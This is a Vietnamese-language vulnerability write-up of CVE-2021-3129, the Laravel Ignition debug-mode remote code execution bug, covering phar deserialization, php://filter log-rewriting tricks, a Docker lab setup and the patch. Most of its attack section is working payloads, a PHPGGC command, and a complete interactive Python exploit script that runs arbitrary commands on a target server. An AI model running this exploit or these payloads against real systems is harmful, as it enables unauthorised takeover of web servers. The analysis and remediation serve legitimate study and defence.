Contents

CVE-2021-3129

Laravel <= v8.4.2 debug mode: Remote code execution (CVE-2021-3129)

Description and Impact

Ignition là một công cụ gỡ lỗi phổ biến trong Laravel, đóng một vai trò quan trọng trong việc hỗ trợ các nhà phát triển trong quá trình phát triển ứng dụng. Nó được cài đặt mặc định từ Laravel 6+.

Ngoài ra Ignition còn cung cấp các mô-đun hay còn gọi là Solutions , giúp ta tìm và sửa lỗi một cách dễ dàng và nhanh chóng.

https://github.com/g03m0n/pics/assets/130943529/2c749205-3e97-49a2-a85f-923fee61d229

Tuy nhiên, chức năng của nó đi kèm với một lỗ hổng khiến các trang web sử dụng phiên bản Laravel <= 8.4.2 và Ignition <= 2.5.1 với chế độ DEBUG được bật có nguy cơ bị tấn công RCE. Lỗ hổng nghiêm trọng này cho phép những kẻ tấn công không được xác thực thực thi mã tùy ý từ xa do sử dụng hàm file_get_contents()file_put_contents() một cách không an toàn, có khả năng phá hoại dữ liệu ứng dụng, tài nguyên máy chủ và quyền riêng tư của người dùng.

CVSS Severity: 9.8 (Critical)

Prepare

Ignition debug example

Sửa hoặc thêm {{ $varialbe }} vào file /resource/views/welcome.blade.php để làm xuất hiện chế độ debug của Ignition

https://github.com/g03m0n/pics/assets/130943529/654536f5-4e6f-4789-afb2-f87d347e4009

Khi click vào Make variable optional thì nó sẽ tự động replace {{ $varialbe }} thành 

{{ $varialbe ?? '' }}. Kiểm tra log thì ta thấy được request như sau:

https://github.com/g03m0n/pics/assets/130943529/f775d2dd-f8c5-4152-85e9-12186ec6c6b4

Trong gói tin này:

  • Param solution : Chỉ định class sẽ được thực thi. Ở đây là class MakeViewVariableOptionalSolution.
  • parameters: Đây là một JSON Object bổ sung, chứa các params cụ thể cho solution.
  • Param variableName: Đây là tên của biến trong view mà Ignition đề xuất để sửa.
  • Param viewFile: Đây là đường dẫn tới file view chứa variableName.

Phar Deserialization

Deserialize Attack

Là kỹ thuật mà attacker có thể control được object serialize thông qua đó có thể điều chỉnh được các giá trị của các thuộc tính trong một class tuỳ theo ý muốn, đồng thời lợi dụng điểm yếu của các magic method để thực thi code và tấn công. Điển hình là các lỗi về: SQL injectionCode injection,…

Magic method

Magic method là những phương thức đặc biệt trong php được khai báo có dấu 2 gạch ở trước như __construct(),__destruct()__sleep(),… và những phương thức này sẽ không thực thi nếu không được gọi, mục đích tạo ra là để giải quyết vấn đề về sự kiện trong chương trình.

__construct() : sẽ được call khi một đối tượng được khởi tạo.

__destruct() : sẽ được call khi một đối tượng bị huỷ hoặc kết thúc chương trình.

__wakeup() : được call khi một đối tượng được deserialize.

__toString(): được call khi một đối tượng được gọi như một chuỗi.

Phar

Phar là một phần mở rộng trong php, nó giống như 1 file zip và bên trong nó chứa mã nguồn php hoặc giống như một kho lưu trữ mã nguồn PHP, nghĩa là tập hợp include các file PHP vào chung 1 phar khi excute thì sẽ tự động thực thi toàn bộ các file PHP bên trong nó mà không cần phải extract các PHP đó vào một thư mục nào trước đó cả.

phar:// Stream Wrapper

Trong PHP, tất cả các thao tác với tệp đều được xử lý bằng stream .

Ví dụ: http://, ftp://, file://, php://, phar://,…

  • filegetcontents("http://example.com/image.jpeg")
  • filegetcontents("file://../images/image.jpeg")
  • filegetcontents("phar://./folder/app.phar")

phar:// stream wrapper được sử dụng để tương tác với các tệp PHAR. Nó cho phép ta thực hiện nhiều thao tác read/write khác nhau trên server. Ngoài ra ta còn có thể truy cập vào các file bên trong một file phar thông qua các filesytstem function.

PHAR archives

Cấu trúc của một file phar:

Stub: Là một file PHP mà ta cần gói lại.

VD:   

manifest : Chứa các trường siêu dữ liệu (metadata) bao gồm thông tin về archive và các file trong archive. 

Đặc biệt, theo như dòng thứ hai từ dưới lên**,** nó sẽ chứa những Meta-data đã được serialize và nó sẽ được unserialize nếu được trigger bởi các filesystem function khi gọi đến một file Phar thông qua phar:// stream wrapper.

https://github.com/g03m0n/pics/assets/130943529/23cae82b-7a58-415a-8926-e2292e4b3a4c

Một số filesystem function:

https://github.com/g03m0n/pics/assets/130943529/d0f66507-be65-4551-a09f-a8d8a8730d66

File contents: Là các file thực có trong archive.

Signature: Là một hàm băm của file archive, ta phải có chữ ký hợp lệ nếu muốn truy cập file archive từ PHP.

  • Điều kiện để có thể khai thác được Phar Deserialize:

    Ta phải load được một file có nội dung tùy ý và biết được đường dẫn đến file này trong hệ thống. Tìm được một filesystem function trên để trigger file phar và đồng thời ta phải control được tên của file.

Root Cause Analysis

Lỗ hổng xảy ra ở solution vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php. Tại đây, ứng dụng sử dụng hai hàm để readwrite tệp trong PHP là: file_get_contents()file_put_contents(). Sai lầm nghiêm trọng nằm ở việc thiếu xác thực trong việc kiểm tra input của người dùng, cụ thể là các biến môi trường được chuyển đến các chức năng này. Kẻ tấn công có thể khai thác lỗ hổng này bằng việc tiêm mã độc thông qua các biến môi trường, sau đó Ignition sẽ đọc và thực thi, cấp cho kẻ tấn công toàn quyền kiểm soát ứng dụng.

https://github.com/g03m0n/pics/assets/130943529/6d0545d3-7d18-4a30-b8ca-22e9a6826dac

Luồng hoạt động của ứng dụng:

Đầu tiên, phương thức makeOptional() sẽ được gọi:

https://github.com/g03m0n/pics/assets/130943529/cf2accb2-8908-4404-952e-e9a7083b7c13

Nó sẽ đọc một tập tin có đường dẫn được truyền trong tham số viewFile:

https://github.com/g03m0n/pics/assets/130943529/c27711ab-33c3-4c61-968a-496cdced7b8c

Sau đó, biến được truyền vào  variableName sẽ thay đổi định dạng từ $variable thành  $variable ?? ''

https://github.com/g03m0n/pics/assets/130943529/8e7fdcd1-65ba-4626-bc17-db22fc4d8c2b

Sau đó, chương trình sẽ thực hiện so sánh token và verify để đảm bảo để đảm bảo rằng các biến trong tệp view luôn có giá trị hợp lệ, tránh lỗi khi biến không tồn tại.:

https://github.com/g03m0n/pics/assets/130943529/edf94883-9d43-4359-babd-ae825be81a04

Nếu có lỗi xảy ra, thì makeOptional() sẽ trả về lỗi, nếu không $newContent sẽ được ghi đè:

https://github.com/g03m0n/pics/assets/130943529/2c5604a4-ef38-4345-830c-c6fc5e7e2cd8

https://github.com/g03m0n/pics/assets/130943529/caa30b5b-3777-4306-91fc-ce1bf5b02180

Do đó, ta không thể làm được gì nhiều khi sử dụng param variableName.

Input variable duy nhất còn lại là viewFile, từ đoạn code trên ta có thể viết lại đoạn code rút gọn như sau:

 $originalContents = file_get_contents($parameters['viewFile']);
 file_put_contents($parameters['viewFile'], $output);

PHP wrappers: changing a file

Trong Laravel, Laravel sử dụng thự viện Monolog được tích hợp sẵn để cung cấp và hỗ trợ nhiều cách xử lý log khác nhau. Mặc định có một file log được lưu trữ trong thư mục storage/logs.

Khi ta truyền vào biến viewFile một đường dẫn không tồn tại, file log sẽ gi lại những gì chúng ta nhập.

https://github.com/g03m0n/pics/assets/130943529/5150f30c-e477-40b2-ad5c-a1baf0fda895

Do đó, ta có thể kiểm soát được một phần nhỏ nội dung của tệp laravel.log bằng cách truyền payload vào biến viewFile.

Vì ở đây ứng dụng sử dụng hàm file_get_contents() để đọc file nên ta sẽ sử dụng PHP Wrapper, cụ thể là php://filter  . Bằng cách sử dụng kết hợp các filter tích hợp, ta có thể chỉnh sửa nội dung của tệp trước khi được trả về.

https://github.com/g03m0n/pics/assets/130943529/f7a5e57d-5ac7-4c4d-938e-41ed29e2a2e8

VD:

$ echo 'hello' | base64 | base64 > /tmp/tu.txt
$ cat /tmp/tu.txt
aGVsbG8K

Sau đó, viết một script PHP thực hiện các thao tác readwrite file tương tự như các thao tác được sử dụng trong Ignition.

<?php
$file = 'php://filter/convert.base64-decode/resource=/tmp/tu.txt';
// Đọc file /tmp/tu.txt và base64-decode sau đó lưu vào biến $contents
$contents = file_get_contents($file);
// Base64-decode biến $contents sau đó ghi đè lên dữ liệu cũ
file_put_contents($file, $contents);
$ cat /tmp/tu.txt
hello

Khi decode-base64, base64 sẽ không decode những kí tự không nằm trong Base64 Encoding Alphabet mà loại bỏ chúng.

VD:

echo 'SGVsbG8K!!!!;;' > /tmp/test.txt
$file = 'php://filter/read=convert.base64-decode/resource=/tmp/test.txt';
$contents = file_get_contents($file);
file_put_contents($file, $contents);

!https://github.com/g03m0n/pics/assets/130943529/619c5a38-718a-4514-b435-40b5aa078b80

Ta có thể sử dụng cách này để xóa nội dung của file log.

Như vậy ta đã có đủ 2 điều kiện để sử dụng kỹ thuật Phar Deserialization: Kiểm soát được file laravel.log với Wrapper php://filter và biết được đường dẫn của file laravel.logstorage/logs/laravel.log

Nhưng ta mới chỉ kiểm soát được một phần nhỏ file log, để thực hiện kỹ thuật Phar Deserialization ta cần phải kiểm soát được toàn bộ nội dung của file log.

Deleting and writing the log file

Cấu trúc của mỗi đoạn đầu của log như sau:

[Date][Error_data]<viewFile>[Error_data]<viewFile>[Error_data]

Trong PHP có nhiều filter chuyển đổi cho nhiều kiểu mã hóa khác nhau. Tất cả đều có tiền tố convert.iconv.*  . Vì cứ 2 byte thì sẽ được 1 char theo mã UTF-16 nên khi convert từ UTF16 sang UTF-8 thì H\0 -> H. Do đó ta có thể xóa file log bằng cách truyền vào phía sau mỗi ký tự của payload một NULL byte (\0) sau đó chuyển đổi bảng mã từ UTF-16 sang UTF-8. Còn các cặp 2 byte ở [Error_data] sẽ bị convert thành junk chars giống như dưới đây. Sau đó phần junk chars này sẽ bị loại bỏ ở bước base64 decoding như đã nói ở phía trên:

Character UTF-8 UTF-16LE UTF-16BE
U+0041 (a) 0x41 0x41 0x00 0x00 0x41
echo '[Error_data]H\0e\0l\0l\0o\0[Error_data]H\0e\0l\0l\0o\0[Error_data]'> /tmp/test.txt
<?php
$file = 'php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt';
$contents = file_get_contents($file); 
file_put_contents($file, $contents); 

https://github.com/g03m0n/pics/assets/130943529/fe95383f-26c1-43df-8f44-aaa77ccee425

Vì payload xuất hiện 2 lần nên ta cần loại bỏ đi một cái mới đúng cấu trúc của file Phar. Ta chỉ cần thêm 1 byte vào cuối payload 1 và sử dụng cách trên convert payload từ UTF16 sang UTF8 để biến payload thứ 2 thành junk chars (vì UTF16 làm việc với 2 byte nên byte alignment của payload thứ 2 sẽ bị lệch):

echo '[Error_data]H\0e\0l\0l\0o\0a[Error_data]H\0e\0l\0l\0o\0a[Error_data]' > /tmp/test.txt

https://github.com/g03m0n/pics/assets/130943529/dfc4e49c-0bb6-4223-99e2-4b26a62be002

Nhưng payload được truyền vào hàm file_get_contents() dưới dạng đường dẫn của tệp, do đó, ta sẽ không thể truyền vào các NULL byte (\00) để biểu diễn payload ở định dạng UTF-16. Nên ta có thể thay thế bằng ký tự =00 sau đó sử dụng filter convert.quoted-printable ****để convert các ký tự =00 thành NULL byte (\00).

https://github.com/g03m0n/pics/assets/130943529/e948dfcf-4484-43aa-99cf-2aff5312d260

Vậy, kết luận chúng ta sẽ có Payload cuối cùng là:

"viewFile" : "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8
				|convert.base64-decode/resource=../storage/logs/laravel.log"

Trong đó:

  • convert.quoted-printable-decode: decode các string có giá trị là =00 thành byte \00(NULL byte).
  • convert.iconv.utf-16le.utf-8: convert từ UTF-16 thành UTF-8 (chuyển đổi nội dung log không mong muốn bằng cách gộp 2 byte lại để chuyển thành các junk chars).
  • convert.base64-decode: xóa các byte bị convert sang utf-8 mà nằm ngoài bảng mã.

Nhưng vì sử dụng bảng mã UTF-16 nên kích thước file log cần phải là bội số của 2 byte, nên ta cần gửi hai request như dưới đây, vì các Error_data[1,2,3]sẽ xuất hiện hai lần và PAYLOAD_APAYLOAD_B cũng xuất hiện hai lần nên tổng số byte sẽ luôn là số chẵn.

[Error_data1]PAYLOAD_A[Error_data2]PAYLOAD_A[Error_data3]
[Error_data1]PAYLOAD_B[Error_data2]PAYLOAD_B[Error_data3]

Để PAYLOAD_A biến mất khi decode-base64, ta sẽ gửi 1 payload với số byte chẵn như AA và biến PAYLOAD_B thành PHAR payload.

[Error_data1]AA[Error_data2]AA[Error_data3]
[Error_data1]PAYLOAD_B[Error_data2]PAYLOAD_B[Error_data3]
  • Note:

    Các Error_data có kích thước giống nhau vì nó gặp lỗi ở cùng một vị trí nên các Error_data sẽ giống nhau. VÌ vậy, trong mọi trường hợp, kích thước của file log luôn là số chẵn.

Ta rút ra được quy trình khai thác sau:

Xóa log → Gửi content ‘AA’ → Gửi payload (các Error_data sẽ xuất hiện 2 lần) → Chẵn ký tự. Vì payload xuất hiện 2 lần nên dựa vào chức năng của filter convert.iconv.utf-16le.utf-8 chỉ cần thêm 1 byte vào sau payload thì quá trình decode payload thứ 2 sẽ bị lệch byte và trở thành junk chars → Chạy PHAR deserialization.

  • Note

    Ngoài ra ta có thể sử dụng filter consumed (undocument) để xóa nội dung file log bằng cách:

    php://filter/write=consumed/resources=../storage/logs/laravel.log
    

    Ngoài ra, nếu sử dụng filter base64-decode lên một chuỗi có chứa dấu = ở giữa, PHP sẽ tạo ra lỗi và không trả về kết quả nào.

Create Payload with PHPGGC

Ở đây ta sẽ sử dụng phpggc  để tạo payload. Công cụ này tạo ra các gadget-chains cho các cuộc tấn công PHP Deserialization. Và nó có thể tạo payload dưới dạng PHAR file với argument --phar phar.

Như đã nói ở trên, Monolog là một thư viện có sẵn trong Laravel nên ta sẽ sử dụng gadget monolog/rce1.

php -d'phar.readonly=0' ./phpggc monolog/rce1 system 'id' --phar phar -o php://output | base64 -w0
| python -c "print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in input()]).upper())"
  • Trong đó:

    -d'phar.readonly=0': Đây là tùy chọn dòng lệnh cho PHP cho phép sửa đổi các tệp Phar. Theo mặc định, PHP sẽ chỉ cho phép đọc tệp Phar, nhưng tùy chọn này cho phép ghi và sửa đổi nội dung của tệp Phar.

    print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in input()]).upper()): chuyển từng ký tự thành mã Unicode của nó rồi chuyển mã Unicode thành mã Hex sau đó thêm ký tự “=” ở đầu và cuối mỗi chuỗi Hex và thêm chuỗi 00 ở cuối mỗi cặp Hex. Cuối cùng dùng hàm join() để ghép các chuỗi Hex thành một chuỗi duy nhất và dùng hàm upper() chuyển đổi tất cả các ký tự trong chuỗi thành ký tự in hoa.

    VD: Ký tự P có mã hex là 50 → =50=00

Steps to reproduce

  • Prepare environment

    • docker-compose.yml
    version: '2'
    services:
     web:
    		build: .
        image: vulhub/laravel:8.4.2
        ports:
             - "3333:80"
    
    • Dockerfile
    RUN pecl install xdebug-3.1.5
    && docker-php-ext-enable xdebug
    && echo "[xdebug]" 
    		>> /usr/local/etc/php/php.ini
    && echo "zend_extension=xdebug.so" 
    		>> /usr/local/etc/php/php.ini
    && echo "xdebug.mode=develop,debug" 
    		>> /usr/local/etc/php/php.ini
    && echo "xdebug.start_with_request=yes" 
    		>> /usr/local/etc/php/php.ini
    && echo "xdebug.log=/tmp/xdebug_remote.log" 
    		>> /usr/local/etc/php/php.ini
    
  1. Đầu tiên, ta tiến hành xóa log trong file laravel.log bằng consumed filter.

Payload:

"viewFile":"php://filter/read=consumed/resource=../storage/logs/laravel.log"

https://github.com/g03m0n/pics/assets/130943529/7d91f872-50c4-4c21-ae25-8cb6f608121b

  1. Gửi payload AA để căn chỉnh kích thước của file log.

Payload:

"viewFile":"AA"

https://github.com/g03m0n/pics/assets/130943529/c32f2e7d-e118-4c9c-86d6-578d18553523

  1. Tạo log chứa payload:

Payload: (whoami)

"viewFile":"=50=00=44=00=39=00=77=00=61=00=48=00...=67=00=3D=00=3D=00a"

https://github.com/g03m0n/pics/assets/130943529/f9afbff7-9206-493b-bab0-4507503f9298

  1. Convert file log sang PHAR file.

Payload:

"viewFile":
"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8
			|convert.base64-decode/resource=../storage/logs/laravel.log"

https://github.com/g03m0n/pics/assets/130943529/6db575f8-26ed-4f27-920b-da330855fc53

  • Debug

    • convert.quoted-printable-decode: decode các string có giá trị là =00 thành byte \00(NULL byte).
    "viewFile":
    "php://filter/write=convert.quoted-printable-decode/resource=../storage/logs/laravel.log"
    

    https://github.com/g03m0n/pics/assets/130943529/f2144eb8-dea6-4deb-98ad-958d28bdef1a

    • convert.iconv.utf-16le.utf-8: convert từ UTF-16 thành UTF-8 (chuyển đổi nội dung log không mong muốn bằng cách gộp 2 byte lại để chuyển thành các junk chars).
    "viewFile":
    "php://filter/write=convert.iconv.utf-16le.utf-8/resource=../storage/logs/laravel.log"
    

    https://github.com/g03m0n/pics/assets/130943529/d7f88627-a7a7-48cd-bb67-f44b29d1b791

    • convert.base64-decode: xóa các ký tự khi convert từ UTF-16 sang UTF-8 mà nằm ngoài bảng mã và convert file log sang PHAR file.
    "viewFile":
    "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
    

    https://github.com/g03m0n/pics/assets/130943529/6ded6674-8ade-4481-ad15-e89f10dd8d52

  1. Chạy PHAR deserialization

Payload:

"viewFile":"phar:///var/www/storage/logs/laravel.log"

https://github.com/g03m0n/pics/assets/130943529/7d74d923-cbe1-43ed-a64c-f9b5017d3339

  • Script exploit tự động

    import requests, sys, re, os
    import argparse, urllib3
    
    urllib3.disable_warnings()
    
    def sendPayload(payload):
        url = "http://localhost:3333/_ignition/execute-solution"#change this
        header = {
                "Accept": "application/json"
                }
        data = {
                "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
                "parameters": {
                    "variableName": "variable",
                    "viewFile": ""
                }
            }
        data["parameters"]["viewFile"] = payload
        resp = requests.post(url=url, headers=header, json=data, verify=False)
        if resp.status_code == 500 and 'php.ini' in resp.text:
            m = re.findall(r'\{(.|\n)+\}((.|\n)*)', resp.text)
            print("Result: " , m[0][1])
        return resp
    
    def clearLog():
        return sendPayload("php://filter/read=consumed/resource=../storage/logs/laravel.log")
        # php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
    
    def decodeLog():
        return sendPayload(
            "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")
    
    def unserializeLog():
        return sendPayload("phar://../storage/logs/laravel.log/test.txt")
    def genPHPGGC(command):
        payload = """php -d 'phar.readonly=0' phpggc/phpggc monolog/rce1 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())" > payload.txt"""%(command)
        os.system(payload)
        with open('payload.txt', 'r') as f:
            payload = f.read().replace('\n', '') + 'a'
        os.system("rm -r payload.txt")
        print (payload)
        return payload
    
    def main():
        while True:
            command = input("Enter command (or 'exit' to quit): ")
            if command.lower() == 'exit':
                break
            clearLog()
            sendPayload('AA')
            sendPayload(genPHPGGC(command))
            decodeLog()
            unserializeLog()
    if __name__ == '__main__':
        main()
    

    VD: python3 exp.py ‘id’

Recommendation

So sánh 2 file code, sau khi update Laravel đã thêm vào một hàm kiểm tra input của người dùng truyền qua param viewFileisSafePath(). Hàm này có tác dụng kiểm tra xem input có bắt đầu bằng đường dẫn tuyệt đối /, đường dẫn tương đối ./ hoặc file có kết thúc bằng extention blade.php hay không, nếu không thì return false.

https://github.com/g03m0n/pics/assets/130943529/801046ad-cca6-4568-8126-19f5b9f7c530

Nếu cần bật chế độ Debug trên môi trường non-local thì nên tắt chế độ Suggestion Solutions của Ignition bằng cách set ignition.enable_runnable_solutions thành false trong file .env.

https://github.com/g03m0n/pics/assets/130943529/d8aa1719-5630-484a-9c82-9e6bc18715d2

Kể từ phiên bản Ignition 2.6.* trở đi chế độ Debug Suggestion Solutions không thể bật ở môi trường non-local.

References

https://www.ambionics.io/blog/laravel-debug-rce

https://knqyf263.hatenablog.com/entry/2021/10/09/165405